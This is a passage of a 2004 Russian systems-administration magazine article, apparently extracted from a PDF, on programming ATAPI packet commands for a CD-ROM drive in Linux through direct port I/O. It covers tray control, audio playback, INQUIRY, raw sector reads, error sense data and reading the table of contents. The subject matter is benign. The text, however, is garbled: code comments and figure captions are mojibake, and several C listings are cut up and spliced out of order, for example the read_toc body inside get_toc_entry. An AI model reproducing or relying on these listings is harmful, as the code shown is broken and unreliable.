В регистре выбора устройства (DS) используется толь-ко бит 4 (DEV), с помощью которого осуществляется выборустройства. Биты 7 и 5 должны иметь значение 1 с цельюсохранения совместимости с устаревшими устройствами.

Регистр состояния (SR) отображает состояние устрой-ства. Назначение разрядов регистра следующее:! бит 0 (CHK) – признак возникновения исключительной

ситуации, в регистре ошибки (ER) находится код ошиб-ки;

! биты 1 и 2 игнорируются при считывании информациииз регистра;

! бит 3 (DRQ) – признак готовности устройства к обменуданными;

! бит 4 (SERV) – признак готовности к обслуживанию сле-дующей команды (имеет значение только при работе врежиме перекрытия команд);

! бит 5 (DMRD/DF) – признак готовности к передаче в ре-жиме DMA (при CHK = 0) или признак неисправностиустройства (при CHK = 1).

Регистр команд (CR) используется для загрузки кодавыполняемой команды.

Пакетные команды ATAPIРассмотрим порядок выполнения пакетных команд интер-фейса ATAPI на примерах. Работоспособность всех приме-ров была проверена для ОС Linux, ядро 2.4.26. Привод CD-ROM подключен как Secondary Master, в ядре включен ре-жим SCSI-эмуляции для ATAPI-устройств (SCSI host adapteremulation for IDE ATAPI devices). Использовались два при-вода:! TEAC CD-W524E Rev 1.0E;! MITSUMI CD-ROM FX54++M Rev Y01E.

Исходные тексты всех программ доступны на сайте жур-нала.

Начнём с самого простого примера – открытие/закры-тие лотка CD-ROM. Чтобы выполнить эту операцию, уст-

ройству необходимо послать пакетную команду START/STOP UNIT, которая представляет собой 12-байтный блокданных следующего формата (см. спецификацию INF-8020i,п. 10.8.25, стр. 197):

Формат этой команды простой. Поле Operation code со-держит код команды 0x1B, а тип требуемой операции зада-ют бит LoEj и Start:

Команда START/STOP UNIT относится к классу пакет-ных команд, не требующих передачи данных (Non-dataCommands). Алгоритм выполнения таких команд следую-щий (см. п. 5.13, спецификация INF-8020i):! хост считывает регистр состояния устройства, дожида-

ясь нулевого значения битов BSY и DRQ. После этогохост заносит в регистр выбора устройство байт, бит DEVкоторого указывает на адресуемое устройство;

! хост записывает код пакетной команды 0xA0 в команд-ный регистр;

! устройство устанавливает бит BSY в регистре состоя-ния и готовится к приёму пакетной команды;

! подготовившись к приёму пакетной команды, устройствосбрасывает бит BSY и устанавливает бит DRQ;

! хост записывает 12-байтный командный пакет в регистрданных устройства;

! устройство устанавливает бит BSY и приступает к вы-полнению поступившей команды. После выполнения ко-манды устройство сбрасывает бит BSY, DRQ и устанав-ливает бит DRDY;

! хост считывает регистр состояния.

Рассмотрим листинг программы, выполняющей откры-тие и закрытие лотка CD-ROM (файл RAW/atapi_o_c.c).

Биты регистра состояния SR и макроопределения дляработы с портами:

Ðèñóíîê 1. Ôîðìàò êîìàíäû START/STOP UNIT

#define BSY 0x80#define DRQ 0x08#define DRDY 0x40#define OUT_P_B(val,port) ↵↵↵↵↵

__asm__("outb %%al, %%dx"::"a"(val),"d"(port))#define OUT_P_W(val,port) ↵↵↵↵↵

__asm__("outw %%ax, %%dx"::"a"(val),"d"(port))#define IN_P_B(val,port) ↵↵↵↵↵

__asm__("inb %%dx, %%al":"=a"(val):"d"(port))

Page 74: 022 Системный Администратор 09 2004

72

программирование

Функция send_packet_command реализует алгоритмвыполнения пакетных команд, не требующих передачи дан-ных. Входные параметры функции – указатель на 12-байт-ный командный пакет:

Перед отправкой устройству команды START/STOP UNITпроверим его готовность. Проверка готовности выполняет-ся путём посылки устройству команды TEST UNIT READY:

Функция закрытия лотка CD-ROM:

Функция открытия лотка CD-ROM:

Главная функция:

Теперь вместо команды START/STOP UNIT пошлём ус-тройству команду PLAY AUDIO. По этой команде устрой-ство начнёт воспроизведение звукового фрагмента сАудио-CD. Формат команды PLAY AUDIO представлен нарис. 2:

Описание полей командного пакета:! Starting Logical Block Address – логический номер секто-

ра, с которого начинается воспроизведение. Байты но-мера сектора располагаются в обратном порядке, на чтоуказывают аббревиатуры MSB (Most significant bit) и LSB(Least significant bit);

! Transfer Length – длина воспроизводимого фрагмента влогических секторах.

Следующая функция формирует и посылает устройству

#define IN_P_W(val,port) ↵↵↵↵↵__asm__("inw %%dx, %%ax":"=a"(val):"d"(port))

void close_cdrom(){

__u8 cmd_buff[12];memset((void *)cmd_buff, 0, 12);cmd_buff[0] = 0x1B; // êîä êîìàíäû START/STOP UNITcmd_buff[4] = 0x3; // LoEj = 1, Start = 1send_packet_command(cmd_buff);

}

void open_cdrom(){

__u8 cmd_buff[12];memset((void *)cmd_buff, 0, 12);cmd_buff[0] = 0x1B;cmd_buff[4] = 0x2; // LoEj = 1, Start = 0send_packet_command(cmd_buff);

}

int main(){

ioperm(0x170, 8, 1);/* Æä¸ì ãîòîâíîñòè óñòðîéñòâà è îòêðûâàåì ëîòîê */

wait_while_ready();open_cdrom();printf("CD-ROM îòêðûò. Íàæìèòå 'Enter' äëÿ çàêðûòèÿ.");getchar();

/* Çàêðûâàåì ëîòîê */close_cdrom();wait_while_ready();printf("OK. CD-ROM çàêðûò.\n");ioperm(0x170, 8, 0);return 0;

}

Ðèñóíîê 2. Ôîðìàò êîìàíäû PLAY AUDIO

void send_packet_command(__u8 *cmd_buff){

int i;__u8 status = 0;__u16 port, a;port = 0x177; // ðåãèñòð ñîñòîÿíèÿ SR

/*  ñîîòâåòñòâèè ñ àëãîðèòìîì æäåì íóëåâîãî çíà÷åíèÿ* áèòîâ BSY è DRQ*/

for(;;) {do {

IN_P_B(status, port);} while(status & BSY);if(!(status & DRQ)) break;

}/* Âûáèðàåì óñòðîéñòâî Master è â åãî ðåãèñòð êîìàíä* çàïèñûâàåì êîä ïàêåòíîé êîìàíäû*/

port = 0x176; OUT_P_B(0xA0, port); // áèò DEV ñáðîøåíport = 0x177; OUT_P_B(0xA0, port);

/* Æä¸ì ñáðîñà áèòà BSY è óñòàíîâêè DRQ */for(;;) {

do {IN_P_B(status, port);

} while(status & BSY);if(status & DRQ) break;

}port = 0x170; // ðåãèñòð äàííûõ

/* Çàïèñûâàåì â ðåãèñòð äàííûõ ïåðåäàííûé 12-áàéòíûé* êîìàíäíûé ïàêåò (îòìåòèì îäíó îñîáåííîñòü � åñëè* çàïèñûâàòü ïî îäíîìó áàéòó, êîìàíäà ðàáîòàòü íå áóäåò)*/

for(i = 0; i < 12; i += 2) {memcpy((void *)&a, (cmd_buff + i), 2);OUT_P_W(a, port);

}port = 0x177;

/* Æä¸ì ñáðîñà áèòà BSY è óñòàíîâêè DRDY */for(;;) {

do {IN_P_B(status, port);

} while(status & BSY);if(status & DRDY) break;

}return;

}

void wait_while_ready(){

__u8 cmd_buff[12];memset((void *)cmd_buff, 0, 12);cmd_buff[0] = 0x00;send_packet_command(cmd_buff);return;

}

Page 75: 022 Системный Администратор 09 2004

73№9(22), сентябрь 2004

программирование

пакетную команду PLAY AUDIO (полный листинг находитсяв файле RAW/play_audio.c):

Следующий класс пакетных команд, который мы рас-смотрим в данной статье, требует передачи данных от уст-ройства к хосту в режиме PIO. Алгоритм выполнения такихкоманд следующий (см. п. 5.8, спецификация INF-8020i):! хост считывает регистр состояния устройства, дожида-

ясь нулевого значения битов BSY и DRQ. После этогохост заносит в регистр выбора устройство байт, бит DEVкоторого указывает на адресуемое устройство, в регистрсчетчика байтов (старший и младший) заносится числопередаваемых от устройства байт;

! хост записывает код пакетной команды 0xA0 в команд-ный регистр;

! устройство устанавливает бит BSY в регистре состоя-ния и готовится к приёму пакетной команды;

! подготовившись к приёму пакетной команды, устройствосбрасывает бит BSY и устанавливает бит DRQ в регис-тре состояния;

! хост записывает 12-байтный командный пакет в регистрданных устройства;

! устройство устанавливает бит BSY и приступает к вы-полнению поступившей команды. После выполнения ко-манды устройство сбрасывает бит BSY и устанавлива-ет бит DRQ. Если во время выполнения команды про-изошла ошибка, в регистре состояния будет установ-лен бит CHK;

! хост опрашивает регистр состояния, дожидаясь единич-ного значения бита DRQ. После этого хост считываетиз регистра данных результат выполнения команды.

Функция send_packet_data_command() реализует этоталгоритм. Параметры функции – размер запрашиваемыхданных и указатель на 12-байтный командный пакет:

В качестве примеров пакетных команд, требующих пе-редачи данных от устройства к хосту, рассмотрим следую-щий список:! INQUIRY! READ CD! REQUEST SENSE! READ TOC! SEEK! READ SUB-CHANNEL

По команде INQUIRY устройство выдаёт блок инфор-мации о своих параметрах. Формат команды INQUIRY сле-дующий:! байт 0 – код команды INQUIRY, значение 0x12;! байт 4 – размер выделенной области для считываемых

данных.

Формат стандартной справки, выдаваемой по командеINQUIRY, приведен на рис. 3 (INF-8020i, п. 10.8.1.1, стр. 94.).

Функция read_inquiry() считывает идентификатор изго-товителя (Vendor Identification), идентификатор изделия(Product Identification) и версию изделия (Product RevisionLevel):

void play_audio(){

__u8 cmd_buff[12];/* Âîñïðîèçâîäèì ôðàãìåíò ðàçìåðîì 5000 ñåêòîðîâ,* íà÷èíàÿ ñ 10-ãî*/

__u32 start_lba = 10; // ñòàðòîâûé ñåêòîð__u16 lba_len = 5000; // äëèíà âîñïðîèçâîäèìîãî ó÷àñòêàmemset((void *)cmd_buff, 0, 12);cmd_buff[0] = 0x45; // êîä êîìàíäû PLAY AUDIO

/* Ìåíÿåì ïîðÿäîê ñëåäîâàíèÿ áàéò ïðè ïîìîùè ìàêðîñà* __swab32. Ýòîò ìàêðîñ îïðåäåë¸í â ôàéëå* <linux/byteorder/swab.h>*/

start_lba = __swab32(start_lba);memcpy((void *)(cmd_buff + 2), (void *)&start_lba, 4);lba_len = __swab16(lba_len);memcpy((void *)(cmd_buff + 6), (void *)&lba_len, 2);send_packet_command(cmd_buff);return;

}

int send_packet_data_command(__u16 data_len, __u8 *cmd_buff){

int i;__u8 status = 0;__u16 port, a;port = 0x177;

/* Îæèäàåì ñáðîñà áèòîâ BSY è DRQ */for(;;) {

do {IN_P_B(status, port);

} while(status & BSY);if(!(status & DRQ)) break;

}/* Âûáèðàåì óñòðîéñòâî Secondary Master */

port = 0x176;OUT_P_B(0xA0, port);

/*  ìëàäøèé áàéò ñ÷åò÷èêà áàéòîâ (CL) çàíîñèì* ðàçìåð çàïðàøèâàåìûõ äàííûõ*/

port = 0x174; OUT_P_W(data_len, port);/* Â ðåãèñòð êîìàíä çàïèñûâàåì êîä ïàêåòíîé êîìàíäû */

port = 0x177; OUT_P_B(0xA0, port);/* Æä¸ì óñòàíîâêè áèòà DRQ */

for(;;) {do {

IN_P_B(status, port);} while(status & BSY);if(status & DRQ) break;

}port = 0x170;

/* Â ðåãèñòð äàííûõ çàïèñûâàåì 12-áàéòíûé êîìàíäíûé ïàêåò */for(i = 0; i < 12; i += 2) {

memcpy((void *)&a, (cmd_buff + i), 2);OUT_P_W(a, port);

}/* Æä¸ì çàâåðøåíèÿ êîìàíäû - óñòàíîâëåííîãî áèòà DRQ.* Åñëè ïðîèçîøëà îøèáêà - ôèêñèðóåì ýòîò ôàêò*/

port = 0x177;for(;;) {

do {IN_P_B(status, port);

} while(status & BSY);// îøèáêà âûïîëíåíèÿ êîìàíäû!if(status & ERR) return -1;if(status & DRQ) break;

}return 0;

}

Page 76: 022 Системный Администратор 09 2004

74

программирование

Полный листинг программы чтения идентификационнойинформации устройства находится в файле RAW/inquiry_cd.c.

Команда READ_CD, которую мы сейчас рассмотрим,выполняет чтение сектора с компакт-диска. Но перед тем,как приступить к изучению примера использования этойкоманды, ознакомимся с организацией данных на компакт-диске.

Физический формат данныхна компакт-диске. Форматы блоковосновного каналаЕдиницей представления данных на компакт-диске являет-ся малый кадр, small frame. Малый кадр содержит:! 3 байта кода синхронизации;! 1 байт данных субканала;! 24 байта данных основного канала (две группы по 12

байт);! 8 байт помехоустойчивого корректирующего кода (CIRC,

Cross Interleaved Read-Solomon Code).Общая длина данных малого кадра составляет 36 байт.При записи на компакт-диск данные субканала, основ-

ного канала и CIRC кодируются 14-разрядными EFM-кодом(Eight to Fourteen). Эта операция необходима для соблюде-ния условия, что в последовательном коде данных между

двумя соседними единицами должно быть не более 10, ноне менее 2 нулей. Размер малого кадра, записанного накомпакт-диск, равен 588 бит.

98 последовательно расположенных малых кадров об-разуют кадр (Frame), или сектор, минимально адресуемуюединицу данных на компакт-диске. Один кадр содержит24 ∗ 98 = 2352 байт данных основного канала и 98 байтсубканала (2 байта синхронизации и 96 байт данных). Каж-дый байт субканала размечен на битовые позиции, и, такимобразом, субканал делится еще на 8 субканалов (рис. 5).В одном кадре для каждого из этих субканалов содержит-ся по 96 бит (12 байт) информации.

Субканал Q Lead-In области компакт-диска хранит дан-ные таблицы содержания, Table of Contents, или TOC.

У компакт-дисков, используемых для хранения аудио-информации, все 2352 байт основного канала заняты аудио-данными. Формат, используемый для записи музыкальныхтреков на компакт-диск, обозначается CD-DA (CD DigitalAudio). Если компакт-диск используется для хранения дан-ных, то блок основного канала начинается с поля синхро-низации Sync длиной 12 байт (рис. 6). За полем синхрони-зации находится заголовок блока данных Header длиной 4байт. Заголовок блока содержит координаты блока данныхв формате MSF (Minute/Second/Frame) и байт режима за-писи данных Data Mode.

Биты 0-1 байта Data Mode содержат код режима записиблока данных. Наиболее широкое распространение полу-чили следующие режимы данных:! режим данных 1, Yellow Book Mode 1;! форма 1 режима данных 2, CD-ROM XA Mode 2 Form 1;! форма 2 режима данных 2, CD-ROM XA Mode 2 Form 2.

Форматы блоков основного канала для каждого режи-ма представлен на рис. 7.! EDC – Error detection code! ECC – Error correction code using CIRC

Вернёмся к рассмотрению команды READ CD. Ее фор-мат представлен на рис. 8.

Ðèñóíîê 3. Ôîðìàò ñïðàâêè, ïîëó÷àåìîé ïî êîìàíäå INQUIRY

int read_inquiry(){int i = 0;

__u8 cmd_buff[12];__u16 inquiry_buff[20]; // áóôåð äëÿ ñ÷èòûâàåìûõ äàííûõ__u8 data_len = 40; // ðàçìåð çàïðàøèâàåìûõ äàííûõmemset(inquiry_buff, 0, 40);memset((void *)cmd_buff, 0, 12);cmd_buff[0] = 0x12; // êîä êîìàíäû INQUIRYcmd_buff[4] = data_len;

/* Ïîñûëàåì óñòðîéñòâó ïàêåòíóþ êîìàíäó */if(send_packet_data_command(data_len, cmd_buff) < 0) {

printf("INQUIRY command error\n");return -1;

}/* Ñ÷èòûâàåì ðåçóëüòàò è îòîáðàæàåì åãî */

for(i = 0; i < 20; i++) IN_P_W(inquiry_buff[i], 0x170);printf("%s\n", inquiry_buff + 4);return 0;

} Ðèñóíîê 4. Ñòðóêòóðà êàäðà íà ïðèìåðå Audio-CD

Ðèñóíîê 5. Ôîðìàò áàéòà ñóáêàíàëà

Ðèñóíîê 6. Ñòðóêòóðà ïîëÿ ñèíõðîíèçàöèè Sync

Page 77: 022 Системный Администратор 09 2004

75№9(22), сентябрь 2004

программирование

Назначение полей командного пакета:! Expected Sector Type – определяет тип сектора, кото-

рый мы хотим считать. Может принимать следующиезначения (INF-8020i, таблица 94):! 000b – Any type! 001b – CD-DA! 010b – Mode1! 100b – Mode2 Form1! 101b – Mode2 Form2

! Starting Logical Block Address – номер стартового сектора;! Transfer Length in Blocks – число считываемых секторов;! Flag Bits – это поле определяет, какие данные будут

прочитаны из сектора. В таблице 99, стр. 147 специ-фикации INF-8020i определены допустимые значенияэтого поля и поля данных, которые будут считаны изсектора (секторов). Например, значение поля ExpectedSector Type, равное 0xF8, означает, что из секторалюбого типа (Mode1, Mode 2 Form 1, Mode 2 Form 2)будут считаны все данные: поле синхронизации Sync,заголовки Header и Subheader (для Mode 2), поле дан-ных и значения контрольных сумм EDD/ECC. Другимисловами, c компакт-диска будет прочитан «сырой» сек-тор (RAW-сектор);

! Sub-Channel Data Selection Bits – данное поле опреде-ляет необходимость считывания в общем потоке дан-ных содержимое субканалов:! 000b – данные из субканалов не передаются;! 001b – считываются «сырые» данные субканалов;! 010b – данные Q-субканала;! 100b – данные R-W субканалов.

Формат данных Q-субканала приведён на рис. 9.Рассмотрим функцию, которая выполняет чтение RAW-

сектора с компакт-диска. Входные данные функции – логи-

ческий номер сектора, содержимое которого мы хотим про-читать.

Если при обращении к устройству произойдет ошиб-ка, то никаких данных мы, соответственно, не получим.Однако у нас есть возможность узнать причину ошибки.Для этого достаточно послать устройству пакетную коман-ду REQUEST SENSE. В ответ устройство выдаст инфор-мационный блок sense data (см. рис. 10).

Три поля данной структуры – Sense Key, Additional SenseCode (ASC), Additional Sense Code Qualifier – позволяют точ-но установить причину ошибки. Допустимые значения этихполей и их описание ошибочной ситуации приведены в спе-цификации INF-8020i, таблицы 140 и 141, стр. 183 – 185.

Анализ ошибочной ситуации выполняет функцияrequest_sense():

Ðèñóíîê 7. Ôîðìàòû áëîêîâ îñíîâíîãî êàíàëà

Ðèñóíîê 8. Ôîðìàò êîìàíäû READ CD

Ðèñóíîê 9. Ôîðìàò äàííûõ Q-ñóáêàíàëà

#define SECT_SIZE 2352 // ðàçìåð RAW-ñåêòîðàint read_cd(__u32 lba){

int i = 0, out_f, ret;__u8 cmd_buff[12];__u8 buff[SECT_SIZE];__u16 data_len = SECT_SIZE, a;memset((void *)buff, 0, sizeof(buff));memset((void *)cmd_buff, 0, 12);

/* Ôîðìèðóåì êîìàíäíûé ïàêåò (ðèñ. 8) */cmd_buff[0] = 0xBE; // êîä êîìàíäû READ CDcmd_buff[1] = 0; // ñ÷èòûâàåì ñåêòîð ëþáîãî òèïà (Any Type)cmd_buff[9] = 0xF8; // ñ÷èòûâàåì âñþ èíôîðìàöèþ,

// íàõîäÿùóþñÿ â ñåêòîðåcmd_buff[8] = 1; // ÷èòàåì îäèí ñåêòîð

/* Çàïîëíÿåì ïîëå Starting Logical Block Address, ïðè ýòîì* ìåíÿåì ïîðÿäîê ðàñïîëîæåíèÿ áàéò*/

lba = __swab32(lba);memcpy((cmd_buff + 2), (void *)&lba, 4);

/* Ïîñûëàåì óñòðîéñòâó êîìàíäíûé ïàêåò */if(send_packet_data_command(data_len, cmd_buff) < 0) {

request_sense(); return -1;}/* Ñ÷èòûâàåì ðåçóëüòàò è ñîõðàíÿåì åãî â ôàéëå */

for(i = 0; i < SECT_SIZE; i += 2) {IN_P_W(a, 0x170);memcpy((void *)(buff + i), (void *)&a, 2);

}out_f = open("sector", O_CREAT|O_RDWR, 0600);write(out_f, buff, sizeof(buff));return 0;

}

Page 78: 022 Системный Администратор 09 2004

76

программирование

Полный листинг программы чтения RAW-секторов с ком-пакт-диска находится в файле RAW/read_sector.c. Приведёмпример работы этой программы. С компакт-диска считыва-ется сектор номер 1000. В результате работы будет созданфайл sector. Посмотрим на первые 16 байт этого файла:

Первые 12 байт – это поле синхронизации Sync-секто-ра (см. рис. 6). Следующие за ним 3 байта – координатысектора в формате MSF, значения представлены в BCD-коде. Последний байт содержит значение режима записиданных, Data Mode.

Пересчитаем координаты сектора из MS- формата в LBAпо формуле (см. [3, 4]):

В нашем примере, Minute = 00, Second = 15, Frame = 25.Подставив значения в формулу, получаем LBA = 1000. Имен-но этот сектор мы считывали.

Теперь проверим, как обрабатываются ошибочные си-туации. Удалим из привода компакт-диск и запустим про-грамму на выполнение. В результате программа выдастследующее:

За расшифровкой обратимся к таблицам 140 и 141.Значение Sense key, равное 0x2, означает «NOT READY.Indicates that the Device cannot be accessed», ASC=0x3A иASCQ=0x0 – «MEDIUM NOT PRESENT». Устройство сооб-щило о том, что компакт-диск в приводе отсутствует.

Теперь попытаемся прочитать сектор, номер которогозаведомо превышает допустимое значение. В программезадаем LBA = 10000000 и получаем в результате:

В этом случае устройство сообщает, что логическийадрес сектора вышел за пределы допустимого диапазона.

Q-субканал Lead-In области компакт-диска содержиттаблицу содержания диска, Table of Contents, или TOC. Этосвоеобразный аналог таблицы разделов жесткого диска. ВTOC хранятся данные о координатах треков и другая слу-жебная информация.

Чтение таблицы содержания диска выполняется командойREAD TOC. Формат этой команды представлен на рис. 11.

Назначение полей командного пакета:! MSF – формат адреса блока данных (0 – LBA, 1 – MSF);! Format – определяет формат данных, выдаваемых по

команде READ TOC:! 00b – считываются данные TOC, начиная с трека, но-

мер которого указан в поле Starting Track. Если этополе содержит 0, содержимое TOC выдаётся для всехтреков диска, начиная с первого. Если поле StartingTrack содержит значение 0xAA, выдаются данныеTOC последней Lead-Out области диска;

! 01b – считывается номер первой сессии, номер после-дней сессии и номер первого трека последней сессии;

! 10b – считываются все данные Q-субканала Lead-Inобластей всех сессий, начиная с сессии, номер кото-рой находится в поле Session Number.

Поле Format девятого байта не используется.Формат данных TOC для Format = 00b, представлен на

рис. 12.Первые четыре байта – это заголовок, содержащий дли-

ну данных TOC и номера первого и последнего треков. Зазаголовком следуют дескрипторы треков. Первым распо-ложен дескриптор трека, номер которого задан в поле

Ðèñóíîê 10. Áëîê äàííûõ sense data, âîçâðàùàåìûé êîìàíäîéREQUEST SENSE

int request_sense(){

int i = 0;__u8 cmd_buff[12];__u8 sense_buff[14];__u16 a;memset((void *)cmd_buff, 0, 12);memset((void *)sense_buff, 0, 14);

/* Ôîðìèðóåì ïàêåòíóþ êîìàíäó REQUEST SENSE.* Èç áëîêà sense data ñ÷èòûâàåì ïåðâûå 14 áàéò �* ýòîãî íàì õâàòèò, ÷òîáû îïðåäåëèòü ïðè÷èíó îøèáêè*/

cmd_buff[0] = 0x3;cmd_buff[4] = 14;

/* Ïîñûëàåì óñòðîéñòâó êîìàíäó è ñ÷èòûâàåì sense data */if(send_packet_data_command(14, cmd_buff) < 0) exit(-1);for(i = 0; i < 14; i += 2) {

IN_P_W(a, 0x170);memcpy((void *)(sense_buff + i), (void *)&a, 2);

}printf("Sense key - 0x%X\n", sense_buff[2] & 0x0F);printf("ASC - 0x%X\n", sense_buff[12]);printf("ASCQ - 0x%X\n", sense_buff[13]);return 0;

}

00 FF FF FF FF FF FF FF FF FF FF 00 00 15 25 01

LBA = ((Minute * 60 + Second) * 75 + Frame) � 150

Ðèñóíîê 11. Ôîðìàò êîìàíäû READ TOC

Page 79: 022 Системный Администратор 09 2004

77№9(22), сентябрь 2004

программирование

Starting Track. Максимальная длина данных TOC, согласноспецификации INF-8020i (рис. 12), составляет 804 байта,или 100 TOC track descriptors.

Формат данных TOC для Format = 10b, приведен нарис.13:

Здесь картина аналогичная – первым идёт заголовокразмером 4 байта, а за ним расположены записи TOC.

Рассмотрим функцию read_toc(), выполняющую чтениеTOC, при условии, что поле Format содержит 00b. Форматдескриптора трека TOC, представленный на рис. 12, опи-сывает структура struct toc:

Полный листинг программы чтения TOC приведен вфайле RAW/read_toc1.c.

Рассмотрим ещё один пример чтения TOC. Для хране-ния содержимого TOC организуем односвязный списокструктур следующего вида:

Здесь struct toc *next – указатель на следующий элементсписка. Формирование этого списка будет выполнять ре-курсивная функция read_toc( ):

* ïî êîìàíäå READ TOC áóäåò âûäàíà èíôîðìàöèÿ îáî âñåõ* òðåêàõ äèñêà, íà÷èíàÿ ñ ïåðâîãî*/

memset((void *)cmd_buff, 0, PACKET_LEN);cmd_buff[0] = READ_TOC;cmd_buff[6] = 0;

/* Ðàçìåð îáëàñòè ïàìÿòè, âûäåëåííîé äëÿ äàííûõ TOC */a = MAX_TOC_LEN;a = __swab16(a);memcpy((void *)(cmd_buff + 7), (void *)&a, 2);data_buff = (__u8 *)malloc(MAX_TOC_LEN);memset(data_buff, 0, MAX_TOC_LEN);

/* Ïîñûëàåì óñòðîéñòâó ïàêåòíóþ êîìàíäó */if(send_packet_data_command(MAX_TOC_LEN, cmd_buff) < 0)

return -1;/* Ñ÷èòûâàåì ðåçóëüòàò */

for(i = 0;;i += 2) {IN_P_W(a, 0x170);// ðàçìåð äàííûõ TOCif(i == 0) toc_length = __swab16(a);if(i > toc_length) break;memcpy((void *)(data_buff + i), (void *)&a, 2);

}/* ×èñëî òðåêîâ íà äèñêå */

total_tracks = data_buff[3];/* Îòîáðàçèì ðåçóëüòàò */

printf("TOC length - %d\n", toc_length);printf("First: %d\t", data_buff[2]);printf("Last: %d\n", total_tracks);

/* Âûäåëèì ïàìÿòü è ñêîïèðóåì òóäà äåñêðèïòîðû òðåêîâ */t = (struct toc *)malloc(toc_length);memcpy((void *)t, (data_buff + 4), toc_length);free(data_buff);

/* Îòîáðàçèì ðåçóëüòàòû */for(i = 0; i < total_tracks; i++)

printf("track: %d\tlba: %u\n", (i + 1), ↵↵↵↵↵__swab32((t + i)->lba));

return 0;}

struct toc {__u8 res;__u8 adr_cntl;__u8 trk_num;__u8 res1;__u32 lba;struct toc *next; // óêàçàòåëü íà ñëåäóþùèé ýëåìåíò ñïèñêà

};

struct toc * read_toc(){#define READ_TOC 0x43

static int i = 1;int n;__u8 cmd_buff[12];__u8 data_buff[12];

/* Ïðè êàæäîì îáðàùåíèè ê äèñêó ìû ñ÷èòûâàåì 12 áàéò � 4 áàéòà* çàãîëîâêà è 8 áàéò äåñêðèïòîðà òðåêà, íîìåð êîòîðîãî* çàäàí â ïîëå Starting Track*/

__u16 buff_size = 12, a;

Ðèñóíîê 12. Ôîðìàò äàííûõ TOC, Format Field = 00b

Ðèñóíîê 13. Ôîðìàò äàííûõ TOC, Format Field = 10b

struct toc {__u8 res;__u8 adr_cntl;__u8 trk_num; // íîìåð òðåêà__u8 res1;__u32 lba; // àäðåñ ñåêòîðà

} __attribute__ ((packed)) *t;int read_toc(){#define PACKET_LEN 12 // äëèíà ïàêåòíîé êîìàíäû#define READ_TOC 0x43 // êîä êîìàíäû READ TOC#define MAX_TOC_LEN 804 // ìàêñèìàëüíàÿ äëèíà äàííûõ TOC

//(Format = 00b)int i = 0;int total_tracks = 0;__u8 cmd_buff[PACKET_LEN];__u8 *data_buff;__u16 toc_length = 0, a;

/* Ôîðìèðóåì ïàêåòíóþ êîìàíäó. Ïîëå Starting Track ñîäåðæèò 0,

Page 80: 022 Системный Администратор 09 2004

78

программирование

Просмотр содержимого TOC выполняет рекурсивнаяфункция view_toc( ):

Извлечь из сформированного списка дескриптор трекаможно при помощи следующей функции:

Входные параметры функции – номер трека и указательна начало списка с данными TOC. Результат сохраняется вструктуре struct toc_entry следующего вида:

Полный листинг программы, выполняющей чтение TOC,приведен в файле RAW/read_toc.c.

Если скомпоновать вместе функции read_cd и read_toc,можно написать программу чтения треков с компакт-дис-ка. В файле RAW/read_cdda_track.c находится листинг про-граммы, которая считывает треки с Audio-CD и сохраняетих в файле track.cdr. Детально изучать этот листинг мы небудем, т.к. только что подробно рассмотрели его основ-ные составляющие. Единственное замечание – в отличиеот ранее рассмотренной функции read_cd при считываниисектора с аудиодиска соседние байты меняются местами.Это связано с порядком расположения аудиоданных в сек-торе:

В принципе этого можно и не делать, но тогда нам при-дется самостоятельно формировать RIFF-заголовок, чтобыполучить файл в формате WAV. Лучше возложим эту по-чётную обязанность на sox. Конвертируем файл в WAV-формат:

Полученный WAV-файл кодируем в формат Ogg Vorbis:

Системный вызов IOCTLТеперь рассмотрим порядок посылки устройству пакетнойкоманды при помощи системного вызова ioctl. Командавыглядит следующим образом:

Первый параметр – дескриптор файла устройства. Вто-рой параметр, CDROM_SEND_PACKET – спецификатор,указывающий на необходимость передачи устройству па-кетной команды. Третий параметр – структура следующеготипа:

struct toc_entry * get_toc_entry(int trk_num, struct toc *t){

struct toc_entry *t_entry;int i = 1;for(;i < trk_num; i++) t = t->next;

struct toc *t;/* Åñëè íîìåð òðåêà ïðåâûñèë 0xAA, âûïîëíåíèå ôóíêöèè

ïðåêðàùàåòñÿ */if(i > 0xAA) return NULL;

/* Âûäåëÿåì ïàìÿòü äëÿ äåñêðèïòîðà òðåêà */t = (struct toc *)malloc(sizeof(struct toc));

/* Ôîðìèðóåì ïàêåòíóþ êîìàíäó */memset((void *)cmd_buff, 0, 12);cmd_buff[0] = READ_TOC;

/* Ïîëå Starting Track ñîäåðæèò íîìåð òðåêà. Ýòîò íîìåð* óâåëè÷èâàåòñÿ ïðè êàæäîì âûçîâå ôóíêöèè*/

cmd_buff[6] = i;/* Ðàçìåð ñ÷èòûâàåìûõ äàííûõ */

buff_size = __swab16(buff_size);memcpy((void *)(cmd_buff + 7), (void *)&buff_size, 2);

/* Ïîñûëàåì óñòðîéñòâó ïàêåòíóþ êîìàíäó */if(send_packet_data_command(buff_size, cmd_buff) < 0) {

printf("Error read TOC\n");request_sense();exit(-1);

}/* Ñ÷èòûâàåì äàííûå � çàãîëîâîê è äåñêðèïòîð òðåêà (ðèñ. 12) */

memset(data_buff, 0, 12);for(n = 0; n < 12; n += 2) {

IN_P_W(a, 0x170);memcpy((void *)(data_buff + n), (void *)&a, 2);

}/* Îòîáðàçèì ðàçìåð äàííûõ TOC è íîìåð ïåðâîãî è ïîñëåäíåãî* òðåêà*/

if (i == 1) {memcpy((void *)&a, (void *)(data_buff), 2);printf("TOC lenght - %d\n", __swab16(a));printf("First: %d\t", data_buff[2]);printf("Last: %d\n", data_buff[3]);max_track_num = data_buff[3];

}/* Êîïèðóåì äåñêðèïòîð òðåêà â ñòðóêòóðó struct toc */

memcpy((void *)t, (data_buff + 4), 8);t->lba = __swab32(t->lba);

/* Ñ÷èòûâàåì äåñêðèïòîð ñëåäóþùåãî òðåêà. Åñëè òðåêîâ áîëüøå íåò,* ñ÷èòûâàåì äåñêðèïòîð Lead-Out îáëàñòè ïîñëåäíåé ñåññèè.*/

i += 1;if(i == (max_track_num + 1)) i = 0xAA;t->next = read_toc();return t;

}

void view_toc(struct toc *t){

if(t == NULL) return;if(t->trk_num == 0xAA) printf("lead out:\t");else printf("track: %d\t", t->trk_num);printf("lba: %u\n", t->lba);view_toc(t->next);

}

t_entry = (struct toc_entry *) ↵↵↵↵↵malloc(sizeof(struct toc_entry));

t_entry->start_lba = t->lba;t_entry->end_lba = t->next->lba;return t_entry;

}

struct toc_entry {__u32 start_lba; // ñòàðòîâûé àäðåñ òðåêà__u32 end_lba; // êîíå÷íûé àäðåñ òðåêà

};

for(i = 0; i < 2352; i += 2) {IN_P_W(a, 0x170);a = __swab16(a);memcpy((void *)(buff + i), (void *)&a, 2);

}

# sox track.cdr track.wav

